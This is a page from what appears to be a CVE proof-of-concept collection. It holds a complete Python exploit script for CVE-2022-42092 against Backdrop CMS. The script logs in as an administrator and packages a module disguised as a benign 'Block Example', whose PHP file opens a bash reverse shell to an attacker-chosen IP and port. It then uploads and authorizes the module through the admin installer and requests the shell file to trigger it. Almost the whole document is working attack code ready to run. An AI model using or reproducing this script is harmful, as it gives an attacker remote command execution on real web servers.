4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2022-42092.py PY
import requests
import argparse
import re
import os
import tarfile
import json
from urllib.parse import urlparse, parse_qs

# Disable SSL warnings
requests.packages.urllib3.disable_warnings()

# Fixed boundary for multipart/form-data
BOUNDARY = '----WebKitFormBoundaryGwsD4HInY1Jf9ANu'

def ensure_url_structure(url):
    if not url.startswith(('http://', 'https://')):
        print("[-] URL missing scheme (http:// or https://), adding http:// by default.")
        url = "http://" + url
    if not url.endswith('/'):
        url += '/'
    return url

def login(target_url, username, password):
    print("[+] Retrieving form_build_id...")
    r = requests.get(f"{target_url}/?q=user/login", verify=False)
    form_build_id = re.search(r'name="form_build_id" value="(.*?)"', r.text)
    if form_build_id:
        form_build_id = form_build_id.group(1)
    else:
        print("[-] Could not find form_build_id!")
        exit(1)

    print("[+] Logging in...")
    payload = {
        'name': username,
        'pass': password,
        'form_build_id': form_build_id,
        'form_id': 'user_login',
        'op': 'Log in'
    }
    session = requests.Session()
    r = session.post(f"{target_url}/?q=user/login", data=payload, verify=False, allow_redirects=False)
    if r.status_code == 302:
        print("[+] Login successful!")
        return session
    else:
        print("[-] Login failed!")
        exit(1)

def create_malicious_tar(listener_ip, listener_port):
    print("[+] Creating malicious shell module...")
    
    if not os.path.exists("shell"):
        os.makedirs("shell")

    with open("shell/shell.info", "w") as f:
        f.write("""name = Block Example
                description = An example outlining how a module can define blocks.
                dependencies[] = block
                package = Example modules
                version = BACKDROP_VERSION
                backdrop = 1.x
                type = module
                """)
    
    with open("shell/shell.php", "w") as f:
        f.write(f"<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/{listener_ip}/{listener_port} 0>&1'\"); ?>")

    with tarfile.open("shell.tar.gz", "w:gz") as tar:
        tar.add("shell", arcname=os.path.basename("shell"))

    print("[+] Malicious shell module archive created.")

def get_admin_tokens(session, target_url):
    print("[+] Grabbing admin installer tokens...")
    r = session.get(f"{target_url}/?q=admin/installer/manual", verify=False)

    form_build_id_admin = re.search(r'name="form_build_id" value="(.*?)"', r.text)
    form_token = re.search(r'name="form_token" value="(.*?)"', r.text)
    theme_token = re.search(r'"theme_token":"(.*?)"', r.text)

    if form_build_id_admin and form_token and theme_token:
        return form_build_id_admin.group(1), form_token.group(1), theme_token.group(1)
    else:
        print("[-] Could not grab necessary tokens!")
        exit(1)

def authorize_upload(session, target_url, response_text):
    try:
        response_json = json.loads(response_text)
        for item in response_json:
            authorize_url = item.get('url')
            if authorize_url:
                parsed_url = urlparse(authorize_url)
                params = parse_qs(parsed_url.query)
                batch = params.get('batch', [None])[0]
                id_ = params.get('id', [None])[0]
                if batch and id_:
                    final_url = f"{target_url}/core/authorize.php?batch={batch}&id={id_}&op=do_nojs&op=do"
                    print(f"[+] Sending Authorize Request ...")
                    r = session.post(final_url, verify=False)
                    if r.status_code == 200:
                        print("[+] Request successful!")
                    else:
                        print("[-] Request failed!")
                        exit(1)
                break
    except Exception as e:
        print(f"[-] Could not extract upload URL: {e}")
        exit(1)

def upload_shell(session, target_url, form_build_id_admin, form_token, theme_token):
    print("[+] Uploading malicious archive...")
    with open('shell.tar.gz', 'rb') as f:
        body = (
                f"--{BOUNDARY}\r\n"
                f"Content-Disposition: form-data; name=\"form_build_id\"\r\n\r\n{form_build_id_admin}\r\n"
                f"--{BOUNDARY}\r\n"
                f"Content-Disposition: form-data; name=\"form_token\"\r\n\r\n{form_token}\r\n"
                f"--{BOUNDARY}\r\n"
                f"Content-Disposition: form-data; name=\"form_id\"\r\n\r\ninstaller_manager_install_form\r\n"
                f"--{BOUNDARY}\r\n"
                f"Content-Disposition: form-data; name=\"_triggering_element_name\"\r\n\r\nop\r\n"
                f"--{BOUNDARY}\r\n"
                f"Content-Disposition: form-data; name=\"_triggering_element_value\"\r\n\r\nInstall\r\n"
                f"--{BOUNDARY}\r\n"
                f"Content-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n\r\nseven\r\n"
                f"--{BOUNDARY}\r\n"
                f"Content-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n\r\n{theme_token}\r\n"
                f"--{BOUNDARY}\r\n"
                f"Content-Disposition: form-data; name=\"files[project_upload]\"; filename=\"shell.tar.gz\"\r\n"
                f"Content-Type: application/gzip\r\n\r\n"
            ).encode() + f.read() + f"\r\n--{BOUNDARY}--\r\n".encode()
    
    headers = {
        'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryGwsD4HInY1Jf9ANu',
        'Accept': 'application/vnd.backdrop-ajax, */*; q=0.01'
    }
    r = session.post(f"{target_url}/?q=system/ajax", headers=headers, data=body, verify=False)
    if r.status_code == 200:
        print("[+] File uploaded successfully!")
        authorize_upload(session, target_url, r.text)
        return True
    else:
        print("[-] Upload failed!")
        exit(1)

def main():
    parser = argparse.ArgumentParser(description='CVE-2022-42092 Exploit Script')
    parser.add_argument('target_url', help='Target URL')
    parser.add_argument('username', help='Username')
    parser.add_argument('password', help='Password')
    parser.add_argument('listener_ip', help='Listener IP')
    parser.add_argument('listener_port', help='Listener Port')

    args = parser.parse_args()

    target_url = ensure_url_structure(args.target_url)
    session = login(target_url, args.username, args.password)
    create_malicious_tar(args.listener_ip, args.listener_port)
    form_build_id_admin, form_token, theme_token = get_admin_tokens(session, target_url)
    upload_shell(session, target_url, form_build_id_admin, form_token, theme_token)

    print("[+] Triggering the reverse shell...")
    requests.get(f"{target_url}/modules/shell/shell.php", verify=False)

if __name__ == "__main__":
    main()